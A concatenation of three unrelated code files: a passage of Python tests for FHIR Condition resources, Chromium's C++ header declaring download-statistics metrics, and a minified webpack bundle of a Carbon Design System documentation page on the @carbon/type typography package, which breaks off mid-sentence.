assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.dateRecorded == date(2013, 4, 4)
assert inst.id == "f205"
assert inst.patient.display == "Roel"
assert inst.patient.reference == "Patient/f201"
assert (
inst.text.div
== "<div><p><b>Generated Narrative with Details</b></p><p><b>id</b>: f205</p><p><b>patient</b>: <a>Roel</a></p><p><b>asserter</b>: <a>Practitioner/f201</a></p><p><b>dateRecorded</b>: 04/04/2013</p><p><b>code</b>: Bacterial infectious disease <span>(Details : {SNOMED CT code '87628006' = '87628006', given as 'Bacterial infectious disease'})</span></p><p><b>clinicalStatus</b>: active</p><p><b>verificationStatus</b>: differential</p></div>"
)
assert inst.text.status == "generated"
assert inst.verificationStatus == "differential"
def test_Condition_9(base_settings):
filename = (
base_settings["unittest_data_dir"] / "condition-example-stroke.canonical.json"
)
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_9(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_9(inst2)
def impl_Condition_9(inst):
assert inst.category.coding[0].code == "diagnosis"
assert inst.category.coding[0].display == "Diagnosis"
assert inst.category.coding[0].system == "http://hl7.org/fhir/condition-category"
assert inst.clinicalStatus == "active"
assert inst.code.coding[0].code == "422504002"
assert inst.code.coding[0].display == "Ischemic stroke (disorder)"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.code.text == "Stroke"
assert inst.id == "stroke"
assert inst.onsetDateTime == date(2010, 7, 18)
assert inst.patient.reference == "Patient/example"
assert inst.text.div == "<div>Ischemic stroke, July 18, 2010</div>"
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_10(base_settings):
filename = base_settings["unittest_data_dir"] / "condition-example.canonical.json"
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_10(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_10(inst2)
def impl_Condition_10(inst):
assert inst.bodySite[0].coding[0].code == "49521004"
assert inst.bodySite[0].coding[0].display == "Left external ear structure"
assert inst.bodySite[0].coding[0].system == "http://snomed.info/sct"
assert inst.bodySite[0].text == "Left Ear"
assert inst.category.coding[0].code == "diagnosis"
assert inst.category.coding[0].display == "Diagnosis"
assert inst.category.coding[0].system == "http://hl7.org/fhir/condition-category"
assert inst.category.coding[1].code == "439401001"
assert inst.category.coding[1].display == "Diagnosis"
assert inst.category.coding[1].system == "http://snomed.info/sct"
assert inst.code.coding[0].code == "39065001"
assert inst.code.coding[0].display == "Burn of ear"
assert inst.code.coding[0].system == "http://snomed.info/sct"
assert inst.code.text == "Burnt Ear"
assert (
inst.extension[0].url
== "http://hl7.org/fhir/StructureDefinition/condition-criticality"
)
assert inst.extension[0].valueCodeableConcept.coding[0].code == "399166001"
assert inst.extension[0].valueCodeableConcept.coding[0].display == "Fatal"
assert (
inst.extension[0].valueCodeableConcept.coding[0].system
== "http://snomed.info/sct"
)
assert inst.id == "condition-example"
assert inst.onsetDateTime == date(2012, 5, 24)
assert inst.patient.reference == "Patient/example"
assert inst.severity.coding[0].code == "24484000"
assert inst.severity.coding[0].display == "Severe"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert inst.text.div == "<div>Severe burn of left ear (Date: 24-May 2012)</div>"
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
def test_Condition_11(base_settings):
filename = base_settings["unittest_data_dir"] / "condition-example2.canonical.json"
inst = condition.Condition.parse_file(
filename, content_type="application/json", encoding="utf-8"
)
assert "Condition" == inst.resource_type
impl_Condition_11(inst)
# testing reverse by generating data from itself and create again.
data = inst.dict()
assert "Condition" == data["resourceType"]
inst2 = condition.Condition(**data)
impl_Condition_11(inst2)
def impl_Condition_11(inst):
assert inst.category.coding[0].code == "finding"
assert inst.category.coding[0].display == "Finding"
assert inst.category.coding[0].system == "http://hl7.org/fhir/condition-category"
assert inst.clinicalStatus == "active"
assert inst.code.text == "Asthma"
assert inst.id == "example2"
assert inst.onsetDateTime == date(2012, 11, 12)
assert inst.patient.reference == "Patient/example"
assert inst.severity.coding[0].code == "255604002"
assert inst.severity.coding[0].display == "Mild"
assert inst.severity.coding[0].system == "http://snomed.info/sct"
assert inst.text.div == "<div>Mild Asthma (Date: 21-Nov 2012)</div>"
assert inst.text.status == "generated"
assert inst.verificationStatus == "confirmed"
|
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Holds helpers for gathering UMA stats about downloads.
#ifndef CONTENT_BROWSER_DOWNLOAD_DOWNLOAD_STATS_H_
#define CONTENT_BROWSER_DOWNLOAD_DOWNLOAD_STATS_H_
#include <string>
#include "base/basictypes.h"
#include "content/common/content_export.h"
#include "content/public/browser/download_danger_type.h"
#include "content/public/browser/download_interrupt_reasons.h"
namespace base {
class FilePath;
class Time;
class TimeDelta;
class TimeTicks;
}
namespace content {
// We keep a count of how often various events occur in the
// histogram "Download.Counts".
enum DownloadCountTypes {
// Stale enum values left around so that values passed to UMA don't
// change.
DOWNLOAD_COUNT_UNUSED_0 = 0,
DOWNLOAD_COUNT_UNUSED_1,
DOWNLOAD_COUNT_UNUSED_2,
DOWNLOAD_COUNT_UNUSED_3,
DOWNLOAD_COUNT_UNUSED_4,
// Downloads that made it to DownloadResourceHandler
UNTHROTTLED_COUNT,
// Downloads that actually complete.
COMPLETED_COUNT,
// Downloads that are cancelled before completion (user action or error).
CANCELLED_COUNT,
// Downloads that are started. Should be equal to UNTHROTTLED_COUNT.
START_COUNT,
// Downloads that were interrupted by the OS.
INTERRUPTED_COUNT,
// (Deprecated) Write sizes for downloads.
// This is equal to the number of samples in Download.WriteSize histogram.
DOWNLOAD_COUNT_UNUSED_10,
// (Deprecated) Counts iterations of the BaseFile::AppendDataToFile() loop.
// This is equal to the number of samples in Download.WriteLoopCount
// histogram.
DOWNLOAD_COUNT_UNUSED_11,
// Counts interruptions that happened at the end of the download.
INTERRUPTED_AT_END_COUNT,
// Counts errors due to writes to BaseFiles that have been detached already.
// This can happen when saving web pages as complete packages. It happens
// when we get messages to append data to files that have already finished and
// been detached, but haven't yet been removed from the list of files in
// progress.
APPEND_TO_DETACHED_FILE_COUNT,
// Counts the number of instances where the downloaded file is missing after a
// successful invocation of ScanAndSaveDownloadedFile().
FILE_MISSING_AFTER_SUCCESSFUL_SCAN_COUNT,
// (Deprecated) Count of downloads with a strong ETag and specified
// 'Accept-Ranges: bytes'.
DOWNLOAD_COUNT_UNUSED_15,
// Count of downloads that didn't have a valid WebContents at the time it was
// interrupted.
INTERRUPTED_WITHOUT_WEBCONTENTS,
// Count of downloads that supplies a strong validator (implying byte-wise
// equivalence) and has a 'Accept-Ranges: bytes' header. These downloads are
// candidates for partial resumption.
STRONG_VALIDATOR_AND_ACCEPTS_RANGES,
DOWNLOAD_COUNT_TYPES_LAST_ENTRY
};
enum DownloadSource {
// The download was initiated when the SavePackage system rejected
// a Save Page As ... by returning false from
// SavePackage::IsSaveableContents().
INITIATED_BY_SAVE_PACKAGE_ON_NON_HTML = 0,
// The download was initiated by a drag and drop from a drag-and-drop
// enabled web application.
INITIATED_BY_DRAG_N_DROP,
// The download was initiated by explicit RPC from the renderer process
// (e.g. by Alt-click) through the IPC ViewHostMsg_DownloadUrl.
INITIATED_BY_RENDERER,
// Fomerly INITIATED_BY_PEPPER_SAVE.
DOWNLOAD_SOURCE_UNUSED_3,
// A request that was initiated as a result of resuming an interrupted
// download.
INITIATED_BY_RESUMPTION,
DOWNLOAD_SOURCE_LAST_ENTRY
};
enum DownloadDiscardReason {
// The download is being discarded due to a user action.
DOWNLOAD_DISCARD_DUE_TO_USER_ACTION,
// The download is being discarded due to the browser being shut down.
DOWNLOAD_DISCARD_DUE_TO_SHUTDOWN
};
// Increment one of the above counts.
void RecordDownloadCount(DownloadCountTypes type);
// Record initiation of a download from a specific source.
void RecordDownloadSource(DownloadSource source);
// Record COMPLETED_COUNT and how long the download took.
void RecordDownloadCompleted(const base::TimeTicks& start, int64 download_len);
// Record INTERRUPTED_COUNT, |reason|, |received| and |total| bytes.
void RecordDownloadInterrupted(DownloadInterruptReason reason,
int64 received,
int64 total);
// Record that a download has been classified as malicious.
void RecordMaliciousDownloadClassified(DownloadDangerType danger_type);
// Record a dangerous download accept event.
void RecordDangerousDownloadAccept(
DownloadDangerType danger_type,
const base::FilePath& file_path);
// Record a dangerous download discard event.
void RecordDangerousDownloadDiscard(
DownloadDiscardReason reason,
DownloadDangerType danger_type,
const base::FilePath& file_path);
// Records the mime type of the download.
void RecordDownloadMimeType(const std::string& mime_type);
// Records usage of Content-Disposition header.
void RecordDownloadContentDisposition(const std::string& content_disposition);
// Record WRITE_SIZE_COUNT and data_len.
void RecordDownloadWriteSize(size_t data_len);
// Record WRITE_LOOP_COUNT and number of loops.
void RecordDownloadWriteLoopCount(int count);
// Record the number of buffers piled up by the IO thread
// before the file thread gets to draining them.
void RecordFileThreadReceiveBuffers(size_t num_buffers);
// Record the bandwidth seen in DownloadResourceHandler
// |actual_bandwidth| and |potential_bandwidth| are in bytes/second.
void RecordBandwidth(double actual_bandwidth, double potential_bandwidth);
// Record the time of both the first open and all subsequent opens since the
// download completed.
void RecordOpen(const base::Time& end, bool first);
// Record whether or not the server accepts ranges, and the download size. Also
// counts if a strong validator is supplied. The combination of range request
// support and ETag indicates downloads that are candidates for partial
// resumption.
void RecordAcceptsRanges(const std::string& accepts_ranges,
int64 download_len,
bool has_strong_validator);
// Record the number of downloads removed by ClearAll.
void RecordClearAllSize(int size);
// Record the number of completed unopened downloads when a download is opened.
void RecordOpensOutstanding(int size);
// Record how long we block the file thread at a time.
void RecordContiguousWriteTime(base::TimeDelta time_blocked);
// Record the percentage of time we had to block the network (i.e.
// how often, for each download, something other than the network
// was the bottleneck).
void RecordNetworkBlockage(base::TimeDelta resource_handler_lifetime,
base::TimeDelta resource_handler_blocked_time);
// Record overall bandwidth stats at the file end.
void RecordFileBandwidth(size_t length,
base::TimeDelta disk_write_time,
base::TimeDelta elapsed_time);
enum SavePackageEvent {
// The user has started to save a page as a package.
SAVE_PACKAGE_STARTED,
// The save package operation was cancelled.
SAVE_PACKAGE_CANCELLED,
// The save package operation finished without being cancelled.
SAVE_PACKAGE_FINISHED,
// The save package tried to write to an already completed file.
SAVE_PACKAGE_WRITE_TO_COMPLETED,
// The save package tried to write to an already failed file.
SAVE_PACKAGE_WRITE_TO_FAILED,
SAVE_PACKAGE_LAST_ENTRY
};
void RecordSavePackageEvent(SavePackageEvent event);
enum OriginStateOnResumption {
ORIGIN_STATE_ON_RESUMPTION_ADDITIONAL_REDIRECTS = 1<<0,
ORIGIN_STATE_ON_RESUMPTION_VALIDATORS_CHANGED = 1<<1,
ORIGIN_STATE_ON_RESUMPTION_CONTENT_DISPOSITION_CHANGED = 1<<2,
ORIGIN_STATE_ON_RESUMPTION_MAX = 1<<3
};
// Record the state of the origin information across a download resumption
// request. |state| is a combination of values from OriginStateOnResumption
// enum.
void RecordOriginStateOnResumption(bool is_partial,
int state);
} // namespace content
#endif // CONTENT_BROWSER_DOWNLOAD_DOWNLOAD_STATS_H_
|
(window.webpackJsonp=window.webpackJsonp||[]).push([[2151],{"013z":function(e,t,n){"use strict";var a=n("q1tI"),l=n.n(a),o=n("NmYn"),r=n.n(o),c=n("Wbzz"),b=n("Xrax"),s=n("a7k6"),i=n("TSYQ"),p=n.n(i),u=n("QH2O"),d=n("qKvR");var m=({title:e,tabs:t=[]})=>Object(d.b)("div",{className:p()(u.pageHeader,{[u.withTabs]:t.length})},Object(d.b)("div",{className:"bx--grid"},Object(d.b)("div",{className:"bx--row"},Object(d.b)("div",{className:"bx--col-lg-12"},Object(d.b)("h1",{id:"page-title",className:u.text},e))))),y=n("BAC9");var j=({relativePagePath:e,repository:t})=>{const{site:{siteMetadata:{repository:n}}}=Object(c.useStaticQuery)("1364590287"),{baseUrl:a,subDirectory:l,branch:o}=t||n,r=`${a}/edit/${o}${l}/src/pages${e}`;return a?Object(d.b)("div",{className:"bx--row "+y.row},Object(d.b)("div",{className:"bx--col"},Object(d.b)("a",{className:y.link,href:r},"Edit this page on GitHub"))):null},O=n("FCXl"),f=n("I8xM");class g extends l.a.Component{render(){const{tabs:e,slug:t}=this.props,n=t.split("/").filter(Boolean).slice(-1)[0],a=e.map(e=>{const a=r()(e,{lower:!0,strict:!0}),l=a===n,o=new RegExp(n+"/?(#.*)?$"),b=t.replace(o,a);return Object(d.b)("li",{key:e,className:p()({[f.selectedItem]:l},f.listItem)},Object(d.b)(c.Link,{className:f.link,to:""+b},e))});return Object(d.b)("div",{className:f.tabsContainer},Object(d.b)("div",{className:"bx--grid"},Object(d.b)("div",{className:"bx--row"},Object(d.b)("div",{className:"bx--col-lg-12 bx--col-no-gutter"},Object(d.b)("nav",null,Object(d.b)("ul",{className:f.list},a))))))}}var h=g,N=n("MjG9");t.a=({pageContext:e,children:t,location:n,Title:a})=>{const{frontmatter:l={},relativePagePath:o,titleType:i}=e,{tabs:p,title:u,theme:y,description:f,keywords:g}=l,{site:{pathPrefix:x}}=Object(c.useStaticQuery)("2456312558"),w=x?n.pathname.replace(x,""):n.pathname,v=p?w.split("/").filter(Boolean).slice(-1)[0]||r()(p[0],{lower:!0}):"";return Object(d.b)(s.a,{tabs:p,homepage:!1,theme:y,pageTitle:u,pageDescription:f,pageKeywords:g,titleType:i},Object(d.b)(m,{title:a?Object(d.b)(a,null):u,label:"label",tabs:p}),p&&Object(d.b)(h,{slug:w,tabs:p,currentTab:v}),Object(d.b)(N.a,{padded:!0},t,Object(d.b)(j,{relativePagePath:o})),Object(d.b)(O.a,{pageContext:e,location:n,slug:w,tabs:p,currentTab:v}),Object(d.b)(b.a,null))}},BAC9:function(e,t,n){e.exports={bxTextTruncateEnd:"EditLink-module--bx--text-truncate--end--2pqje",bxTextTruncateFront:"EditLink-module--bx--text-truncate--front--3_lIE",link:"EditLink-module--link--1qzW3",row:"EditLink-module--row--1B9Gk"}},I8xM:function(e,t,n){e.exports={bxTextTruncateEnd:"PageTabs-module--bx--text-truncate--end--267NA",bxTextTruncateFront:"PageTabs-module--bx--text-truncate--front--3xEQF",tabsContainer:"PageTabs-module--tabs-container--8N4k0",list:"PageTabs-module--list--3eFQc",listItem:"PageTabs-module--list-item--nUmtD",link:"PageTabs-module--link--1mDJ1",selectedItem:"PageTabs-module--selected-item--YPVr3"}},QH2O:function(e,t,n){e.exports={bxTextTruncateEnd:"PageHeader-module--bx--text-truncate--end--mZWeX",bxTextTruncateFront:"PageHeader-module--bx--text-truncate--front--3zvrI",pageHeader:"PageHeader-module--page-header--3hIan",withTabs:"PageHeader-module--with-tabs--3nKxA",text:"PageHeader-module--text--o9LFq"}},"s+no":function(e,t,n){"use strict";n.r(t),n.d(t,"_frontmatter",(function(){return c})),n.d(t,"default",(function(){return g}));n("3bBZ"),n("q1tI");var a=n("7ljp"),l=n("013z");n("qKvR");function o(){return(o=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var a in n)Object.prototype.hasOwnProperty.call(n,a)&&(e[a]=n[a])}return e}).apply(this,arguments)}function r(e,t){if(null==e)return{};var n,a,l=function(e,t){if(null==e)return{};var n,a,l={},o=Object.keys(e);for(a=0;a<o.length;a++)n=o[a],t.indexOf(n)>=0||(l[n]=e[n]);return l}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(a=0;a<o.length;a++)n=o[a],t.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(l[n]=e[n])}return l}const c={},b=e=>function(t){return console.warn("Component "+e+" was not imported, exported, or provided by MDXProvider as global scope"),Object(a.b)("div",t)},s=b("PageDescription"),i=b("InlineNotification"),p=b("AnchorLinks"),u=b("AnchorLink"),d=b("Row"),m=b("Column"),y=b("ResourceCard"),j=b("MdxIcon"),O={_frontmatter:c},f=l.a;function g(e){let{components:t}=e,n=r(e,["components"]);return Object(a.b)(f,o({},O,n,{components:t,mdxType:"MDXLayout"}),Object(a.b)(s,{mdxType:"PageDescription"},Object(a.b)("p",null,"Type is a core part of any offering. Use the Carbon type package to leverage IBM\nPlex across your product.")),Object(a.b)(i,{mdxType:"InlineNotification"},Object(a.b)("p",null,"If you’re using carbon-components there’s no reason to install the type package\nseparately. See our ",Object(a.b)("a",o({parentName:"p"},{href:"/get-started/develop/react"}),"get started")," guide to start\nbuilding.")),Object(a.b)(p,{mdxType:"AnchorLinks"},Object(a.b)(u,{mdxType:"AnchorLink"},"Get started"),Object(a.b)(u,{mdxType:"AnchorLink"},"Usage"),Object(a.b)(u,{mdxType:"AnchorLink"},"Resources")),Object(a.b)("h2",null,"Get started"),Object(a.b)("p",null,"To install ",Object(a.b)("inlineCode",{parentName:"p"},"@carbon/type")," in your project, you will need to run the following\ncommand using ",Object(a.b)("a",o({parentName:"p"},{href:"https://www.npmjs.com/"}),"npm"),":"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-bash"}),"npm install -S @carbon/type\n")),Object(a.b)("p",null,"If you prefer ",Object(a.b)("a",o({parentName:"p"},{href:"https://yarnpkg.com/en/"}),"Yarn"),", use the following command\ninstead:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-bash"}),"yarn add @carbon/type\n")),Object(a.b)("h2",null,"Usage"),Object(a.b)("p",null,Object(a.b)("inlineCode",{parentName:"p"},"@carbon/type")," provides a variety of ways to work with typography from the IBM\nDesign Language. You can use all of these features either in JavaScript or Sass.\nThese features include:"),Object(a.b)("table",null,Object(a.b)("thead",{parentName:"table"},Object(a.b)("tr",{parentName:"thead"},Object(a.b)("th",o({parentName:"tr"},{align:null}),"Feature"),Object(a.b)("th",o({parentName:"tr"},{align:null}),"Description"))),Object(a.b)("tbody",{parentName:"table"},Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("a",o({parentName:"td"},{href:"#font-face"}),"Font face")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Include IBM Plex™ font faces in your application. Uses Google fonts")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("a",o({parentName:"td"},{href:"#type-classes"}),"Type classes")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Helpers to use type styles directly. Not included by default")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("a",o({parentName:"td"},{href:"#font-family"}),"Font family")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Defines the font stack for IBM Plex™ in your application, provides helpers for working with font definitions")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("a",o({parentName:"td"},{href:"#reset"}),"Reset")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Provides a high-level CSS Reset to use in your project")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("a",o({parentName:"td"},{href:"#type-scale"}),"Scale")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Provides the type scale. Can access the size at any given step (step 1, 2, 3, etc)")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("a",o({parentName:"td"},{href:"#type-styles"}),"Styles")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Provides type styles for your application (heading-01, body-long-01, etc)")))),Object(a.b)("p",null,"To include ",Object(a.b)("inlineCode",{parentName:"p"},"@carbon/type")," in your project, you can write the following in your\nSass file:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/type';\n@import '@carbon/type/scss/font-face/mono';\n@import '@carbon/type/scss/font-face/sans';\n\n@include carbon--type-reset();\n@include carbon--font-face-mono();\n@include carbon--font-face-sans();\n")),Object(a.b)("p",null,"This should include the default type reset from the project, in addition to\nfont-face definitions for IBM Plex Mono and IBM Plex Sans that come from Google\nFonts."),Object(a.b)("p",null,"If you are using ",Object(a.b)("inlineCode",{parentName:"p"},"@carbon/elements"),", the import paths become:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/elements/scss/type/path-to-import';\n")),Object(a.b)("p",null,"For example:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/elements/scss/type/styles';\n")),Object(a.b)("p",null,"In addition, you will need to setup ",Object(a.b)("inlineCode",{parentName:"p"},"node-sass")," so that ",Object(a.b)("inlineCode",{parentName:"p"},"node_modules")," is\nincluded in the ",Object(a.b)("inlineCode",{parentName:"p"},"includePaths")," option. Often times, the tool that you are using\nto build Sass files in your project should expose this option for you to set."),Object(a.b)("p",null,"For example, if you are using Webpack you would use ",Object(a.b)("inlineCode",{parentName:"p"},"node-sass")," and\n",Object(a.b)("inlineCode",{parentName:"p"},"sass-loader")," with the following configuration for ",Object(a.b)("inlineCode",{parentName:"p"},"includePaths"),":"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-js"}),"{\n loader: 'sass-loader',\n options: {\n includePaths: ['node_modules'],\n },\n}\n")),Object(a.b)("h3",null,"Type styles"),Object(a.b)("p",null,"Instead of using a type scale, ",Object(a.b)("inlineCode",{parentName:"p"},"@carbon/type")," provides tokens that represent\nwhat we call type styles. These tokens have a variety of properties for styling\nhow text is rendered on a page."),Object(a.b)("p",null,"You can find a full reference of the type styles that are available on the\n",Object(a.b)("a",o({parentName:"p"},{href:"https://www.carbondesignsystem.com/guidelines/typography/productive"}),"Carbon Design System website"),"\n."),Object(a.b)("p",null,"You can include a token in your Sass file by writing:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/styles';\n\n@include carbon--type-style('productive-heading-01');\n")),Object(a.b)("p",null,"In addition, if the type style you are using has a fluid style then you can pass\nin ",Object(a.b)("inlineCode",{parentName:"p"},"true")," as the second argument to ",Object(a.b)("inlineCode",{parentName:"p"},"carbon--type-style")," to enable fluid styles.\nFor example:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/styles';\n\n@include carbon--type-style('token-name', true);\n")),Object(a.b)("h3",null,"Font-face"),Object(a.b)("p",null,Object(a.b)("inlineCode",{parentName:"p"},"@carbon/type")," supports three font-face definitions that you can use to add IBM\nPlex to your project. These font-face definitions include support for:"),Object(a.b)("ul",null,Object(a.b)("li",{parentName:"ul"},"IBM Plex Mono"),Object(a.b)("li",{parentName:"ul"},"IBM Plex Sans"),Object(a.b)("li",{parentName:"ul"},"IBM Plex Serif")),Object(a.b)("p",null,"For most projects, only IBM Plex Mono and IBM Plex Sans is necessary. We also\nprovide IBM Plex Serif if you are building an editorial or marketing project."),Object(a.b)("p",null,"These font-face definitions are pulling the above fonts from Google Fonts. As a\nresult, they are not intended to be used as a production asset for your project.\nWhile you can depend on these for bootstrapping your project, we highly\nrecommend using the fonts from the ",Object(a.b)("inlineCode",{parentName:"p"},"@ibm/plex")," package and hosting them on a\nglobal CDN."),Object(a.b)("p",null,"You can include each font-face definition by including the corresponding file\nand calling its mixin. For example, if you wanted to include IBM Plex Mono in\nyour project you would write the following in your Sass file:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/font-face/mono';\n\n@include carbon--font-face-mono();\n")),Object(a.b)("p",null,"Similarly, you can include IBM Plex Sans and IBM Plex Serif by writing:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/font-face/mono';\n@import '@carbon/type/scss/font-face/sans';\n@import '@carbon/type/scss/font-face/serif';\n\n@include carbon--font-face-mono();\n@include carbon--font-face-sans();\n@include carbon--font-face-serif();\n")),Object(a.b)("h3",null,"Type classes"),Object(a.b)("p",null,"The recommended way to style your application will be to use our\n",Object(a.b)("a",o({parentName:"p"},{href:"#type-styles"}),"type styles"),". However, we also offer helper CSS classes for\nspecific use-cases. These are also helpful when quickly prototyping a project."),Object(a.b)("p",null,"You can include type classes in your project by writing the following in your\nSass file:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/classes';\n")),Object(a.b)("table",null,Object(a.b)("thead",{parentName:"table"},Object(a.b)("tr",{parentName:"thead"},Object(a.b)("th",o({parentName:"tr"},{align:null}),"Selector"),Object(a.b)("th",o({parentName:"tr"},{align:null}),"Description"))),Object(a.b)("tbody",{parentName:"table"},Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-mono")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Specify the font face as IBM Plex Mono")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-sans")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Specify the font face as IBM Plex Sans")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-serif")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Specify the font face as IBM Plex Serif")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-light")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Specify the font weight as light (300)")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-regular")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Specify the font weight as regular (400)")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-semibold")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Specify the font weight as semibold (600)")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-italic")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Specify the font style as italic")),Object(a.b)("tr",{parentName:"tbody"},Object(a.b)("td",o({parentName:"tr"},{align:null}),Object(a.b)("inlineCode",{parentName:"td"},".bx--type-<type-style>")),Object(a.b)("td",o({parentName:"tr"},{align:null}),"Set styles for the given type style")))),Object(a.b)("h3",null,"Font family"),Object(a.b)("p",null,Object(a.b)("inlineCode",{parentName:"p"},"@carbon/type")," provides the font stacks for all the IBM Plex fonts available.\nYou can access the font family information by including the following import in\nyour Sass file:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/font-family';\n")),Object(a.b)("p",null,"The font stacks are available under the ",Object(a.b)("inlineCode",{parentName:"p"},"$carbon--font-families")," variable. You\ncan also access a specific font family by using the ",Object(a.b)("inlineCode",{parentName:"p"},"carbon--font-family"),"\nfunction by doing:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),".my-selector {\n font-family: carbon--font-family('mono');\n}\n")),Object(a.b)("p",null,"You can also use the ",Object(a.b)("inlineCode",{parentName:"p"},"carbon--font-family")," mixin to automatically set the\n",Object(a.b)("inlineCode",{parentName:"p"},"font-family")," property for you:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),".my-selector {\n @include carbon--font-family('mono');\n}\n")),Object(a.b)("p",null,"You can see all the available font families in ",Object(a.b)("inlineCode",{parentName:"p"},"$carbon--font-families")," ."),Object(a.b)("h3",null,"Reset"),Object(a.b)("p",null,"An optional type reset is provided under the ",Object(a.b)("inlineCode",{parentName:"p"},"carbon--type-reset")," mixin. You can\ninclude this mixin by writing the following in your Sass file:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/reset';\n\n@include carbon--type-reset();\n")),Object(a.b)("p",null,"This reset sets some top-level properties on ",Object(a.b)("inlineCode",{parentName:"p"},"html")," and ",Object(a.b)("inlineCode",{parentName:"p"},"body"),", namely\n",Object(a.b)("inlineCode",{parentName:"p"},"font-size"),", ",Object(a.b)("inlineCode",{parentName:"p"},"font-family"),", and some ",Object(a.b)("inlineCode",{parentName:"p"},"text-rendering")," options. We also map the\n",Object(a.b)("inlineCode",{parentName:"p"},"strong")," tag to the semibold font weight."),Object(a.b)("h3",null,"Type scale"),Object(a.b)("p",null,"A type scale is provided through the ",Object(a.b)("inlineCode",{parentName:"p"},"$carbon--type-scale")," variable and\ncorresponding ",Object(a.b)("inlineCode",{parentName:"p"},"carbon--type-scale")," function and mixin. However, for specifying\ntype styles, the recommendation is to use ",Object(a.b)("a",o({parentName:"p"},{href:"#type-styles"}),"type styles")," ."),Object(a.b)("p",null,"If you are looking to use the type scale, you can include all the scale-related\nutilities and variables by writing the following in your Sass file:"),Object(a.b)("pre",null,Object(a.b)("code",o({parentName:"pre"},{className:"language-scss"}),"@import '@carbon/type/scss/scale';\n")),Object(a.b)("p",null,"You can access a specific step in the type scale by using 